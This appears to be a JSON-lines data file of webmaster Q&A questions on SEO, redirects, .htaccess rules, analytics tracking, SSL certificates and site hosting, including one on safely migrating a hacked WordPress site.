{"id":"55082","title":"Wlll links into pages that are restricted by Disallow rules in robots.txt help SEO?","text":"I have a search-engine based website, and the search functionality itself is not crawlable because of a `Disallow:` rule in `robots.txt`. Other content is on the site is crawlable. If I get incoming links to the search portions of the site, will they be as good for SEO? (Like links to the front page of the site would be.)"}
{"id":"43360","title":"For SEO, should I direct an existing website with a lower page rank to a new, better-ranked site?","text":"I have a client that has an existing site, let's call it `bobthebuilder.com`. My client has been posting blog posts to it for the past couple of years and a modest amount of sites are naturally linking in to it. As a result, this site has a PR of 1. My client also has another site, again, with a bunch of blog posts, on a subdomain. Let's call it bob.builders.com. This site is rich in information (again, unique to my client) and has a PR of 3. My client has hired me on to take care of the SEO of his business, not indicating specific sites. I face several options, and would like to get some recommendations, please. 1. Continue writing and optimizing content for bob.builders.com and leave the other site as is 2. Do a permanent redirect from `bobthebuilder.com` to `bob.builders.com`, lose existing content from `bobthebuilder.com` 3. Do a permanent redirect from `bobthebuilder.com` to `bob.builders.com`, transfer all blog posts and content to `bob.builders.com` What would be the best course of action? Thank you!"}
{"id":"43367","title":"Trying to host server for external access - Apache, VirtualBox & Portforwarding","text":"Banging my head on the wall at this stage... Trying to host my Apache site on Ubuntu 12.10 with VirtualBox. Running Windows 8 host. Things I've done: * Ensured Apache is listening on ports 80, 443 and 8080 (for thoroughness) tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3355\/httpd tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 3355\/httpd tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3355\/httpd tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 681\/sshd * VM is using bridged network connection * Assigned a static IP to my Ubuntu VM, which can be accessed fine from within network. * Forwarded TCP ports 80, 8080, 443 on the static IP of VM on my router * Given my VM a static NAT Address * Turned off Ubuntu firewall and router firewall * Read on forums that my ISP (Eircom) allow port 80 to be used And I still can't access my site using the WAN\/External IP (checked internally and using `CanYouSeeMe.org`). It says all the ports I mentioned are closed. I'm really at a loss of what to try next... Am I missing something silly here? Note: I haven't assigned a static IP address within the router, on within the VM. And DHCP server is enabled. Is that bad?"}
{"id":"55023","title":"Use Google Analytics to record newsletter clicks to an external website","text":"Note: by external website I mean a website that we do not have access to the code. For example www.facebook.com I want to record how many social share clicks we have from our customer newsletters. For example, when a customer receives a newsletter they can click \"Share this on Facebook\" which shares the hosted version of the newsletter. If I wanted to record these newsletter clicks to our website I understand we'd use Google URL Builder (https:\/\/support.google.com\/analytics\/answer\/1033867?hl=en) to create a UTM URL but because we're linking to an external site, how do we record this?"}
{"id":"4792","title":"Is there a way to limit the horizational flex of a fluid CSS layout?","text":"**Example:** Currently it does this: <--> Want it to do this: <--|-|--> **Meaning the core never gets smaller than say 900px, but the core stretches on forever if it's bigger than 900px. Note, currently it's a 3-column, and the sides are fixed, it's the center that grows.** It's also be cool if I could control the max flex: |<--|-|-->| **Meaning the page would not get smaller than 900x, but not larger than 1200px** ...so, maybe none of this is possible, or it's crazy easy -- but I've searched high and low for an example, or CSS specs on how to do this, and no luck so far. Thanks! * * * ## UPDATE: * * * Thanks to Dave, I was able to find a solution... :-) ...thanks Dave!! **Example of code** #wrapper { width: 960px; width: expression( (document.documentElement.clientWidth > 962)? \"960px\" : (document.documentElement.clientWidth < 762)? \"760px\" : \"auto\" ); height: 1%; } **-- OR here's the full HTML with inline JavaScript and CSS --** <!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Strict\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-strict.dtd\"> <html> <head> <meta http-equiv=\"content-type\" content=\"text\/html; charset=ISO-8859-1\"> <title>Example of max- and min-width<\/title> <!-- You should of course use external CSS-files, not inline as I use in this example... --> <style type=\"text\/css\"> #content { border: 1px solid red; \/* For clarity, remove at will *\/ max-width: 960px; \/* Corresponds to 1024 with scrollbars *\/ min-width: 760px; \/* Corresponds to 800 with scrollbars *\/ margin: 0 auto; \/* Center the block *\/ width: 100%; } <\/style> <!--[if IE 6]> <style type=\"text\/css\"> #content { height: 1%; width: 960px; \/* Fallback width if javascript is off *\/ width: expression( (document.documentElement.clientWidth > 962)? \"960px\" : (document.documentElement.clientWidth < 762) ? \"760px\" : \"auto\" ); } <\/style> <![endif]--> <\/head> <body> <div id=\"content\"> <p>Example Content...<\/p> <\/div> <\/body> <\/html> **SOURCE:** Friendly Bit, Min-width and Max-width template NOTE: Stack Exchange... Rocks!"}
{"id":"5837","title":"Replacing well ranked e-commerce site with a CMS site and new e-commerce site & maintaining as much SE ranking as possible","text":"I am looking for advice on the steps to take to re-structure my website. We currently have an osCommerce based site in the root of the site (i.e. mysite.com\/index.php). Our plan is to have a CMS based site as the main site (at mysite.com), and have a _new_ e-commerce site as a sub-domain (store.mysite.com). The existing osCommerce site is well ranked in Google, Bing & Yahoo, and we'd dearly love to retain as much SE ranking goodness during and after the changes. I had thought the steps would be to 1) move the current site to a sub-domain, 2) place the new CMS based site in the root, and 3) when that lot has \"settled in\", replace the e-commerce site with a new version. Does this sound about right? If so, what's the best strategy on implementing wholesale redirects from mysite.com to store.mysite.com in the first step? (We have about 70-80 pages on the site including product pages). I would very much appreciate any help or advice before I embark on this onerous task. TIA Edit: We're replacing the old osCommerce site because it is out of date, heavily modified and the design is old and needs replacing. The company has more services that it offers now, so a CMS would suit our website better, but still with a more modern e-commerce site."}
{"id":"5833","title":"PHP as a first web development experience","text":"Your experience is valuable. What would be your advice for an aspiring web developer who decided to give PHP a try? Thanks"}
{"id":"19090","title":"Does google always downrank pages with hidden texts","text":"> **Possible Duplicate:** > Are temporarily hidden elements bad for search-engine rankings? I'm creating a FAQ for my page. To help the user to get a better overview I want to hide all answers and only display the questions. If the user clicks on a question the answer is set to display:block. I know that google also reads and indexes hidden content, but I also know that hiding text is a common technique for spammers and thus probably discredited by google, resulting in getting wiped from search results. But I'm wondering; Does google always downrank pages that have large amounts of hidden text? Does Google have some kind of intelligence? I mean an FAQ like this is not that uncommon. Should I not use this kind of FAQ?"}
{"id":"11254","title":"Example of live site with trusted, signed but revoked certificate?","text":"I'm drawing up some documentation for users with the intent on educating them on certificate revocation. I would like to include screen shots of browsers to demonstrate the user experience when encountering a revoked cert. The revocation can occur via either OCSP or CRL. I've tried digging around CRLs, but they list the serial number of a certificate and don't provide a URL for me to try connecting. Could someone provide a URL to a live site with a non-self-signed but revoked cert? Or perhaps there's a way to look up certs in a CRL and cross reference them to a URL?"}
{"id":"11252","title":"Free Places to List a New Site?","text":"I recently launched http:\/\/www.comehike.com and promotion has not been easy. I currently have $0 promotion budget and am wondering where are good places to get free links, and some traffic? Any tips or tricks would be appreciated? An example of what I am looking for is something like diystartups.com"}
{"id":"5839","title":"Is Joomla or Drupal easier to manage?","text":"Is Joomla or Drupal easier to manage? Better community than the other to receive help? One made for corporations vs for private? Seems like WordPress is very popular, too, but can it do the same things as the others? Also, how long (in approximate hours) does it take to set one of these up? Thanks!"}
{"id":"65032","title":"Google Analytics indicates tracking code is not installed","text":"I have 4 websites using Google Analytics. Two of them are being tracked perfectly without any problem. The other two however are appearing as \"Tracking Not Installed\". It's there, but it's not working for these sites: www.evusa.org www.usagreencard.co.uk It really makes me feel not very confident about using Google Analytics now. If the tracking code appears as \"not installed\" when it is actually installed, why I should feel sure that the numbers they provide are actually real. Here's the tracking code for the first site: <!-- GA --> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('create', 'UA-49488235-8', 'usagreencard.co.uk'); ga('send', 'pageview'); <\/script> And here's the tracking code for the second site: <!-- GA --> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('create', 'UA-49488235-7', 'evusa.org'); ga('send', 'pageview'); <\/script>"}
{"id":"61432","title":"What is the minimum recommended page title from an SEO perspective?","text":"What is the minimum recommended page title from an SEO perspective? Would there be any problems if I use a two words title? I know that there is a maximum recommended, but I did not find anything about the minimum length."}
{"id":"65036","title":"SEO and other impacts of using rel=\"dns-prefetch\"","text":"I recently came across a site that had the following code: <link rel=\"dns-prefetch\" href=\"\/\/ajax.googleapis.com\"> In looking it up it says it is used to `Reduce DNS lookup time by pre- resolving at the browser.` So my question is, other than (hopefully) making the site feel a touch more faster, does it have any other impacts on SEO or the site in general?"}
{"id":"4035","title":"google search differences","text":"i'm preety new to SEO, so please bare with me if the question seems dumb.. I have a webshop, for which I made a sitemap and sent it to google to index.. now, when I am logged in to my google account and type the domain name into google (without the \"www.\" and \".hr\"), google puts that site first.. OK... when I log out, and do the SAME search, the site is 5th or 6th... how is this possible?? also, site appears on google (i sent it like 3 days ago), but in my webmaster google account it says that 0 pages are indexed... so, just putting site ON google and indexing it is not the same thing? I can provide site domain name so you can see for yourself if it's needed... I have one more site with the same (strange) issues... thanks for the anwsers!!! Andrej"}
{"id":"65685","title":"Filezilla claims there is not enough disk space on our microsoft azure webserver","text":"We run a website on a microsoft azure webserver, but today we face a problem when trying to upload files to that webserver using Filezilla FTP client. Whenever I try to upload anything, filezilla responds with \"550 There is not enough space on the disk\". I then log on the administrator account on for microsoft azure, and see that we have only spend 2% of our 50 GB available disk space. I tried restarting the webserver, but that did not do the trick. Any ideas or suggestions? I can't seem to find any similar thread of this issue. I don't have much experience when it comes to websites and servere, so any help would be appreciated."}
{"id":"58506","title":"Robots.txt error \"Crawl postponed because robots.txt was inaccessible\" from Google Webmaster Tools","text":"On the _robots.txt_ fetch tab there is a yellow triangle when hovered over. I am getting the following message. \"Crawl postponed because _robots.txt_ was inaccessible\" However I am showing 0\/151 Errors\/attempts. I use the same _robots.txt_ on other sites and there is no problem. www.dtnmgt.com\/robots.txt"}
{"id":"32927","title":"AdWords traffic not (properly) reflected in Analytics","text":"I have an AdWords account, which was set to use Auto-tagging of URLs. When looking at the Analytics account for that site, I couldn't find any reference to AdWords traffic either in the Advertising section or the Traffic Sources section. So I manually constructed the URL tags, and updated the Campaign Ad. Once the ad was approved and the clicks started coming through again, I could see the results in the Traffic Sources section of Analytics. In the Sources > Campaigns section, my campaign was listed, and under Sources > All Traffic, it was registering the same level of traffic from `google\/adwords`. However, the Advertising > AdWords section is still drawing a blank. Any ideas? Are there explicit steps needed to enable full tracking of AdWords campaigns? If it is relevant, the Adwords campaign was set up with one account, and the Analytics tracking with another, but both accounts have full access to both AdWords and Analytics."}
{"id":"19006","title":"What does one look for to increase conversion rate of landing pages?","text":"I'm about to create several landing pages. I'm trying to find methods or means to produce the highest conversion rate possible. What could someone do to increase ones conversion rate for a landing page? I'm looking for an answer that has experience, references, or metrics to back up their claim. I know a lot of this is an art."}
{"id":"58828","title":"Mark keywords\/words as not important to Webmasters","text":"I have a word repeating many times in every page which has no content or keyword significance - the word 'clear' on 'clear filters' button - and I noticed that this word is third in the `keywords` panel. This word has no relevance to the actual content and I supposed it shouldn't be in the `keywords` list. Is there a way to mark words like this one as not important or not relevant? On the other hand, is the `keywords` panel that important or I shouldn't bother at all? I also want to add that this word is in a link which I have marked as `nofollow` once I noticed how high it was on the `keywords` list. But I don't know if it makes any difference. I'm willing to explain further if I was not clear enough. Thank you."}
{"id":"56638","title":"How long does Google Webmaster Tools take to index a website?","text":"How much time does Google Webmaster Tools take to index a page? Analytics took around 24 hours to get info from the site, but since this is indexing, I guess it might take a little bit more than that. I would like to know though, an estimate so that I can start working on redirecting traffic with search engines to my sites so that it gets indexed much better. **EDIT** I just tried indexing with bingbot and the following messaged appeared when I hit on fetch as bingbot: > REDIRECTION LIMIT REACHED What does that mean? According to the code it brings back, only a a few parts of the site are returned, then it goes away to God knows where. Inside my `.htaccess` file I wrote the following rules: RewriteEngine on RewriteCond %{HTTPS} off RewriteRule ^(.*)$ https:\/\/%{HTTP_HOST}%{REQUEST_URI} [L,R=301] <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\\.]+)$ $1.php [NC,L] <\/IfModule> Could it be possible that something of my `.htaccess` file could be redirecting the bot or something like that?"}
{"id":"64786","title":"What is an acceptable level of FPS in browser workslow editor?","text":"I'm developing a diagraming tool and need some metrics to test it against. Unfortunately I couldn't find information regarding an average acceptable FPS level for this kind of web apps. We all know such levels for action games (which is 60fps minimum), 25fps for videostreaming. Can anyone give me some information reagarding minimal FPS level for drawing web apps? What tools would you recomend to test my app?"}
{"id":"53572","title":"Require domain alias to show in browser address bar","text":"Similar to question posted here (but not related to sub directories): .htaccess redirect of domain name alias to main domain but must show up as the alias domain I am trying to direct traffic from an alias domain I have to my site that is on the same server, while also keeping the alias domain in the browser address bar. This is my original htaccess content which correctly redirects the user, but xyz.com appears in the browser which I do not want. rewritecond %{HTTP_HOST} ^(www\\.)?abc\\.com$ [NC] rewriterule ^ http:\/\/xyz.com\/?foo [R=301,QSA,L] This is my attempt to not only bring abc.com visitors to xyz.com but also have abc.com appear in the browser. This doesn't even load the site. Any ideas on a fix? rewritecond %{HTTP_HOST} ^(www\\.)?abc\\.com$ RewriteRule ^$ \/index.html [L]"}
{"id":"56322","title":"Allow (and correct the URL) when there is a special character such as %26 using IIS and the rewrite module","text":"I'm struggling with a legacy app that uses special characters like `%26` in the URL. The characters don't affect the app but can't be changed, so I'm trying to get IIS to deal with them. I've tried to ignore them using multiple methods, but nothing seems to work. So now I installed the IIS rewrite module and added a rewrite rule to _web.config_ to replace the characters `%26` with `_`, for example: <rewrite> <rules> <rule name=\"ampersand\" patternSyntax=\"Wildcard\" stopProcessing=\"true\"> <match url=\"*%26*\" \/> <action type=\"Redirect\" url=\"{R:1}_{R:2}\" \/> <\/rule> <\/rules> <\/rewrite> The problem is that IIS responds with \"Bad Request\" before the rewrite rule ever gets called. So my question is this: how can I change the order of precedence so that the mod rewrite filter will be called before IIS puts the ban hammer down on that URL?"}
{"id":"51424","title":"Can I bid on AdWords Keyword Tool with no competition?","text":"I am very new to PPC, and I want to advertise a product. The problem is, the relevant keywords I find are very low traffic (~100\/mo) and have no competition at all, and not even CPC estimate, or maybe 5c. Will I be able to bid on those keywords and have my ad display in the search result or will Google only allow ads if there is sufficient competition? If Google estimates 5c\/click is this real or will it be more like 5$\/click?"}
{"id":"45592","title":"Is it a bad idea to refresh sitemap once a day?","text":"It takes a while for Google Webmaster Tools to update the amount of links sent by sitemap. I was wondering if updating it on a daily basis could delay it even longer or actually help. The slow indexing may be caused by the low pagerank, which is 1."}
{"id":"11784","title":"Wordpress CSS formating issue","text":"A don't understand why the sidebar of my Wordpress blog does not have consistent formatting for H3 tags. There are two PHP-generated un-styled H3 tags in the sidebar, followed by my own manual H3 tag. The first two appear larger than the third, yet they are identical tags. The site in question is here. The contents of sidebar.php are: <div class=\"sidebar\"> <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Sidebar') ) : $widget_args = array( 'after_widget' => '<\/div><\/div>', 'before_title' => '<h3>', 'after_title' => '<\/h3><div class=\"widget-body clear\">' ); ?> <?php the_widget( 'GetConnected', 'title=Get Connected', $widget_args); ?> <?php the_widget( 'Recentposts_thumbnail', 'title=Recent posts', $widget_args); ?> <?php endif; ?> <\/div> <div class=\"sidebar\"> <h3>Choice links<\/h3> <p> <\/p> <ul> <li><a href=\"http:\/\/www.annimac.com.au\">Annimac Consultants<\/a> - Futurist & Life Coach<\/li> <li><a href=\"http:\/\/www.melvilletenniscentre.com.au\">Melville Tennis Centre<\/a> - Great social tennis<\/li> <\/ul> <\/div>"}
{"id":"11787","title":"Paying for advertising on a cost per click basis - How to validate?","text":"We use various pay per click advertising agencies and are able to tune the traffic to our mobile sites according to various things. The problem is, the number of clicks reported by the publisher never matches the clicks we see in our logs. I'm told that it's natural to expect some drop off. Does anyone have any idea of what a reasonable drop off would be? 10%? 20%? I do expect some drop off because being a mobile platform I guess people are more likely to experience timeouts, connection drops etc.?"}
{"id":"4221","title":"Are shorter URLS better for SEO?","text":"Many people shorten their URLs. But as per my understanding it creates overhead of extra redirection, other can not guess about the target article with their url, and it should be less friendly for \"inurl:...\" type search. Should I shorten the URLs of my sites? Is there any advantage with short URLs besides the fact that they take fewer characters in anchor tags on the page (good for site loading)?"}
{"id":"25374","title":"How does a CDN work on the tech side?","text":"I never used a CDN before so this is a noob question, but how does it work on the tech side. For example right now when a user uploads an image on my site it is uploaded to the \"\/uploads\" folder at the root of my \"www\" folder via PHP. If I use Amazon S3, how will I make the images my users upload, go directly to Amazon's servers instead of mine? Or does it work a different way like the images are still uploaded to my server but then I have to move them to the amazon server either manually or through a CRON job? Basically can someone explain to me how it works?"}
{"id":"51176","title":"Safely backup and migrate a hacked and infected WordPress site","text":"I have an old WordPress site that was on really bad shared hosting and has been hacked into smithereens. It's been compromised by multiple (different) people, as far as I can tell. It's pretty bad! The site is functioning well enough right now for me to get in and do things, so I'd like to move it to a different server if possible. However, since I know it has backdoors and all sorts of trouble in it, I'm not sure how to move it over. Obviously I'm going to do a fresh WP install, but is there a way to move the data (blog posts, comments, etc) over without a risk of also transferring a backdoor or some other trouble? For example, do I need to worry about the MySQL databases themselves being compromised? Or if I manually move them would they be ok? I am thinking the safest thing to do would be to do a WordPress \"export\" and then import the XML file to the new freshly-built site along with `.png`, `.jpg` and `.gif` files. I'm assuming images are relatively safe. XML also seems pretty safe, but even so, it's a lot of code to scroll through, and I'm not sure if I would recognize a backdoor embedded inside it if there was one. Could it somehow have PHP embedded in a post's text that would then be activated on the clean site?"}
{"id":"51175","title":"How can I make FTP connections secure in WHM?","text":"For security reasons (since FTP transmits passwords and files in plain text), I want to force users of my shared hosting to use FTPS or SFTP instead of regular FTP. I am using WHM but have limited account (no root access). What options do I have to enforce all FTP connections are secure?"}
{"id":"23914","title":"Embed content, iFrame or load via JavaScript?","text":"I have to load remote content in several sites and I'd like to know which is the best technique. I know I can go trough an `<iframe>` but it isn't SEO friendly. I want the content to be found and indexed by Google and the other search engines. Which is the best way? 1. `<iframe>` 2. load the content into a `<div>` using jquery or other JavaScript"}
{"id":"43268","title":"How to add version control and seperate development server to php\/web development environment?","text":"I'm the team lead of a small group of developers. My background is primarily in application development and I've worked in larger groups where version control (SVN, Git, etc.) have been used and proven very useful. I'm starting to oversee our web development, which is currently one lonely php developer, however, we will be adding a second php\/web developer soon. Currently our lonely php developer programs things live (ie: he makes changes to a php file, uploads the new code, and sees what happens). I'd like to change this since this is just asking for a disaster to happen. I'm also thinking of adding some sort of version control to his process. We already have a SVN server being used for application development so I'd like to leverage that somehow. I'm looking for advice on how best to approach this and what kind of changes to make. Should we use our existing web server for development? We could make a complete copy of the existing websites and have these copies sit on subdomains. We then make changes to these copies and if everything went OK, we synchronize the subdomains with the main sites. If this is a good approach, what set of tools (ie: software) would be best to use for the synchronization? Is there any software that could also commit these changes to the SVN server while synchronize things on the web server? The less steps are involved in these changes the better. Or would it be better to have a completely separate server for development? The downside of this is maintenance ... we're short staffed as it is. Any and all advice is highly appreciated. Web\/PHP development is a bit different than your standard application (Java, C++, etc.) development that I'm used to so I'm definitely open to idea on how best to run this department. Thanks, Harry"}
{"id":"23916","title":"Can a sitemap index file list sitemaps in a different directory?","text":"If I have a sitemap index, can the sitemaps listed in the index be located in a subdirectory, but have links that isn't specific to the subdirectory? I'm trying to avoid having multiple sitemaps in the root directory of my server, if I can help it. \/Sitemap.xml <sitemapindex xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\"> <sitemap> <loc>http:\/\/www.example.com\/assets\/cnt\/sitemap\/main.xml<\/loc> <\/sitemap> <\/sitemapindex> \/assets\/cnt\/sitemap\/main.xml <urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\"> <url> <loc>http:\/\/www.example.com\/<\/loc> <changefreq>daily<\/changefreq> <\/url> <url> <loc>http:\/\/www.example.com\/Customer-Service<\/loc> <\/url> <\/urlset> I posted a similar question earlier, but I did not explain myself clearly."}
{"id":"61263","title":"How do I do a catch-all .htaccess redirect?","text":"A site has moved from `example.net` to `example.com\/ie\/en\/`. (In other words, it’s moved from being its own domain to being a subfolder in a larger site.) However, the page structure has also changed. I have a few pages with specific redirects. For example, `example.net\/packaging` should redirect to `example.com\/ie\/en\/packaging-solutions\/`. Everything else (the homepage and all pages not specifically mentioned) should redirect to `example.com\/ie\/en\/` directly. Here’s what I tried: Redirect permanent \/geotextiles http:\/\/www.example.com\/ie\/en\/technical-fabrics\/geosynthetics\/ Redirect permanent \/fibcs http:\/\/www.example.com\/ie\/en\/packaging-solutions\/fibc-filling-solutions\/ Redirect permanent \/packaging http:\/\/www.example.com\/ie\/en\/packaging-solutions\/ Redirect permanent \/bags-fibcs http:\/\/www.example.com\/ie\/en\/packaging-solutions\/fibc-filling-solutions\/ Redirect permanent \/horticultural http:\/\/www.example.com\/ie\/en\/technical-fabrics\/agri-horti-aquaculture\/ Redirect permanent \/construction http:\/\/www.example.com\/ie\/en\/technical-fabrics\/construction\/ Redirect permanent \/ http:\/\/www.example.com\/ie\/en\/ RewriteEngine On RewriteRule ^(.*)$ http:\/\/www.example.com\/ie\/en\/ [R=301] This very nearly works. The pages mentioned specifically redirect as they should; so does the homepage. However, other pages do not work. `example.net\/blah` should redirect to `example.com\/ie\/en\/`, but instead redirects to `example.net\/ie\/en\/blah`. Is there any simple way to lose the page name? The new website is completely restructured, and quite simply doesn’t have equivalent pages to some of those on the old site, so redirecting to the homepage makes sense. Taking a tip from an answer, I tried this approach: RewriteEngine On RewriteRule \/geotextiles http:\/\/www.example.com\/ie\/en\/technical-fabrics\/geosynthetics\/ [R=301,L] RewriteRule \/fibcs http:\/\/www.example.com\/ie\/en\/packaging-solutions\/fibc-filling-solutions\/ [R=301,L] RewriteRule \/packaging http:\/\/www.example.com\/ie\/en\/packaging-solutions\/ [R=301,L] RewriteRule \/bags-fibcs http:\/\/www.example.com\/ie\/en\/packaging-solutions\/fibc-filling-solutions\/ [R=301,L] RewriteRule \/horticultural http:\/\/www.example.com\/ie\/en\/technical-fabrics\/agri-horti-aquaculture\/ [R=301,L] RewriteRule \/construction http:\/\/www.example.com\/ie\/en\/technical-fabrics\/construction\/ [R=301,L] RewriteRule \/ http:\/\/www.example.com\/ie\/en\/ [R=301,L] RewriteRule ^(.*)$ http:\/\/www.example.com\/ie\/en\/ [R=301,L] And now _everything_ redirects to `www.example.com\/ie\/en\/`. All my special cases are being ignored, despite the `L` flag."}
{"id":"27204","title":"What is the name of this kind of layout?","text":"Please visit this site: http:\/\/www.visitheritage.com\/ Can someone tell me in which category does that kind of website layout belong? Or in other words, how you simply call it? I notice that this kind of layout usually have: 1. Drop down menu navigation 2. Image slider (very big) & contains hyperlink 3. 3-4 additional navigation links which usually contains images and little text 4. Very minimalist footer that only contains copyright notice, links to social media, & faq or disclaimer hyperlink. I usually see this kind of layout in professional organization's website.. Btw I hope I am not in the wrong forum. Let me know if otherwise. Any help is appreciated."}
{"id":"65785","title":"Rewrite up to three folders into three query string parameters to a PHP script","text":"I'd like to use mod_rewrite within the `.htaccess` file to rewrite folders to a `var string`. Below is examples of current and what I would prefer. * _Current URL_ : `example.com\/main\/folder1\/folder2\/folder3` * _Preferred URL_ : `example.com\/parser.php?var1=folder1&var2=folder2&var3=folder3` How can I rewrite the current URL's to preferred URLs?"}
{"id":"27202","title":"SSL Certificate Works in Monit - But Not in Keystore","text":"I have a situation where there's a keystore file with the various root\/intermediate certificates stored in it in a way that it seems to work for most browsers. Problem is that when mobile browsers hit it, there's a break in the chain and they complain. I used an SSL checker at http:\/\/www.sslshopper.com\/ssl-checker.html and it states that \"The certificate is not trusted in all web browsers. You may need to install an Intermediate\/chain certificate to link it to a trusted root certificate.\" So...the desktop browsers must have the intermediate certs already and can make the chain connections, I'm assuming, while the mobile browsers can't. The thing is that I had used Portecle to export certificates from the keystore and cobble them together to create a .PEM certificate to run the Monit utility. When I check that application with the SSL checker, it works fine! The person that originally created the keystore said he couldn't follow the SSL provider's directions for creating the keystore because he created the CSR request using openssl, so the cert and private key had to be converted to DER format and use importkey to get it to work; following the directions he found online had importkey seem to use only a set keystore file as a result, and it would erase anything already in the file if it existed. So is there a way to take the certificate I created for Monit and create a working keystore for the Tomcat website? What would be causing the chain to be broken in the current keystore, but work for Monit? I have the SSL cert provider's intermediate and cross certificates, and the website's certificate, but is what else would I need to create a working chain of certs for a keystore?"}
{"id":"27203","title":"What should the home page on a personal site be?","text":"I just finished school for web development and now I'm looking for a programming job. I've built a personal website to show off my work. I've got my resume on there, with a link to my portfolio and a few other things. But one thing I'm struggling with is the home page. Everything I think of either could go on a page I already have or just seems weird and out of place."}
{"id":"43587","title":"Do I need a brand new template for mobile web-app?","text":"I've a web-application currently serving only desktop clients. I will be creating a mobile-friendly version of the application. I am wondering: * Do I need to create the design from scratch and use something like **mobile-boilerplate** to design the mobile version from scratch? Or: * Can I just insert the additional ****tag and modify current html5 block level elements using **@media screen and (max-device-width: 480px) {}**? I am rather experienced when it comes to HTML5 & CSS3 (+JS) desktop UI-UX design but so far, I've never done anything for mobile browsers and I feel very confused. Which option is the correct way to go? Also, if you have any articles and suggestions regarding the subject, I'd be very happy to read them. Thank you very much!"}
{"id":"55307","title":"301 redirects, query strings and SEO","text":"We have recently consolidated one site into another one. We set up all of our 301s and those all work famously. The bulk of the 301s (including the old site's homepage) land on an interior page of the new site. We want to display an image to users that hit the interior page from the 301 and not show the image to other users. Obviously, though, there's no reliable way to know that someone came over from a 301. We do know, given our architecture, if a page is the redirect point for a 301, so on the request, we check three things - page is a 301 target, referrer is null and, because it's an interior page, if the session is new. While this sounded great in theory, it's not awesome. Two primary sources of traffic are now configured to hit that interior page directly and, of course, the image is showing when we don't want it to. How bad would it be for SEO purposes, to change my existing 301s like this: **orig:** `http:\/\/example.com` 301 to `http:\/\/foo.com\/interiorpage` **new:** `http:\/\/example.com` 301 to `http:\/\/foo.com\/interiorpage?showimage` Given that the original 301s have already been crawled, am I damaging my juice by adding that querystring now? The parameterless url is canonical. The only difference in content is the visibility of an image that exists on both versions of the page."}
{"id":"69008","title":"xslTransform.Transform to XslCompiledTransform.Transform","text":"Hi I am clearing all warnings in my application, I used below code in my application DataSet dsBillItem = new DataSet(); System.Xml.XPath.XPathNavigator xNav = xmlResponse.CreateNavigator(); XslTransform xslTransform = new XslTransform(); xslTransform.Load(\"test.xslt\"); XmlReader xmlReader = xslTransform.Transform(xNav, null); dsBillItem.ReadXml(xmlReader); \"XslTransform\" showing warning as \"This class has been deprecated. Please use System.Xml.Xsl.XslCompiledTransform instead. http:\/\/go.microsoft.com\/fwlink\/?linkid=14202\". If I change my code to \"XslCompiledTransform\", its throwing error on this line \"XmlReader xmlReader = xslTransform.Transform(xNav, null);\". Reason is this Transform method available only with void return type. Please help me anyone on this, any code for xslt file to dataset conversion or any other way is available?"}
{"id":"69004","title":"Fraudulent Click Bombing Sites","text":"I am getting a fraudulent site 'visit4money.com' as the 2nd top referral in Google Analytics. This website seems to have tens of thousands of members who keep coming to my site and fade away after moments. I know it may be click fraud. But I wonder why are they coming to my site while I have no Google Adwords\/Adsense running. I am not running any online ad campaign any where. How this website is benefiting from my site by sending fake visitors? I though have invested on FB Ads for past two months. Since then, I've noticed increase in such suspicious site referrals. It is strange that FB ads only appear on sidebar; and I don't think clicking on them would be any beneficial for any FB user or such sites? Can anybody explain what's going on?"}
{"id":"43588","title":"How to allow Google to index protected content?","text":"I'm working on my site and as it require users to log in it will be hard to Google to index the sites, because to see 90% of the content you have to be online. So I've made a script which looks for the ip that enters the site if it is between 66.249.66.1 to 66.249.71.206. So if the ip is between this range, i set \"the google bot\" as online and it will be able to see all pages a normal user would see. Is this a good idea? Are there more ip ranges? Can I trust these ip ranges?"}
{"id":"36354","title":"Multiple Google Analytics code for url under same domain","text":"I have one domain: `www.example.com`, and `www.example.com\/sales`. The analytic code on both urls are different. So when I login to my Google account it displays two separate analytic accounts. on `www.example.com\/sales` I have a banner linked back to `www.example.com`. I clicked that banners and I am sure there are other people have clicked the banner as well. but when I check the analytic of `www.example.com`, I don't see any thing come from my `example.com\/sales`. I assume analytic on both urls are working, but why it doesn't track the visit from `\/sales`. any idea??"}
{"id":"21980","title":"Uploading a non-finished website","text":"I have a pretty basic question. I developed a neat little website which I'm ready to upload, but still needs a bit of work. The designer needs the html to do his work so the website needs to be uploaded. Besides that, I have to correct a couple details, do the friendly-urls, etc. What's the best way to set up the webpage in the definitive hosting with the definitive domain, blocking it to any unknown users and without affecting affecting SEO and those kind of things. If I were to just upload it, the non- definitive website might be crawled by a SE-bot."}
{"id":"21985","title":"Monitor offline adwords conversions","text":"I'm trying to evaluate the usefulness of Google Adwords for a friend's site. I'm trying to count the number of sales per month, and see how many have found her page because of the Adwords campaign. Her site has an online order system, but she also gets customers that buy just via the email contact and never use the online order system. There aren't many conversions per month (usually only one to three), so I don't want to miss any conversions when I want to gauge the effectiveness of a campaign. Is there a good way to also include those conversions?"}
